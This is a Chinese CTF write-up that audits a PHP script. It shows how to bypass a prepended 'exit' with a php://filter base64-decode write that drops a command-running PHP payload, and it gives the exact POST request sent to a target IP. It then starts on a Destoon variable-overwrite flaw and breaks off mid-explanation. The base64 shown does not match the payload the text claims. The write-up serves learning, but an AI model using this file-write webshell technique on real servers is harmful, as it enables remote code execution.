本人渣渣,于是记录一下
死亡退出
一道代码审计题目
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>
来看看代码,@是用来忽略错误
这段代码是利用最后的include执行temp.php,那么我们很快九形道运用伪协议把它给读出来。。但前提是要绕过"<?php exit;?>"
;不然会直接退出
这里搜到一篇文章用base64绕过的一篇文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这一题我本来是想用print_r('flag.php')
构造的,发现不行,查了查手册发现是自己理解函数有问题
于是参考了方方土学长的构造,我使用<?php system('cat flag.php');?>
base64编码之后PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==
然后
c=aPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
post参数c的时候会在<?php exit;?>
后面加一些东西
所以会变成这个样子
<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
然后经过base64decode之后就变成了下面的那个样子
^?Z<?php system('cat flag.php');?>
注意我的base64为什么前面多了个a,那是因为
在解码的过程中,字符<、?、;、>、
空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit
”和我们传入的其他字符。
而phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。
不知道为什么,最近用bp发包都搞不了这题,我是用火狐自带Hackbar发送post数据才在控制台下面看到的flag
我也很是奇怪。。。。用bp抓一下包用其comparer功能对比之后发现改的包没啥差异。。。。以后还是抓包还是先过一遍hackbar吧。。emmmm
最后经过Hackbar截的包
POST / HTTP/1.1
Host: 119.23.73.3:5003
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
cache: no-cache
origin: moz-extension://d734739a-e2f8-430e-8dc3-796d3187dbc2
Content-Length: 126
Connection: keep-alive
c=aPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
unset
这道题目也是多亏了方方土学长指导我仔细看清楚这个漏洞,最后终于明白了
这个主要是利用了Destoon 20140530最新版超全局变量覆盖导致的安全问题
这是网址:http://www.secevery.com:4321/bugs/wooyun-2014-063895
如果 post get cookie 请求中的$$key
和$value
相等 就unset掉$$key
如果我们向1.php?x=1提交一个POST请求 内容为_GET[x]=1
因为?x=1 所以$_GET
内容为 array('x'=>'1')
,但是这里没什么关系,如果没传post参数上去的话,遍历到第一个key的时候就会符合正则继而执行exit。。。。。这个自己尝试
如果传参post上去的话,当开始遍历$_POST
的时候 $__k
是_GET[x]
所以$$__k
就是$_GET[x]
也就是array('x'=>'1')
$__v
是POST上来的一个数组 内容也是array('x'=>'1')
$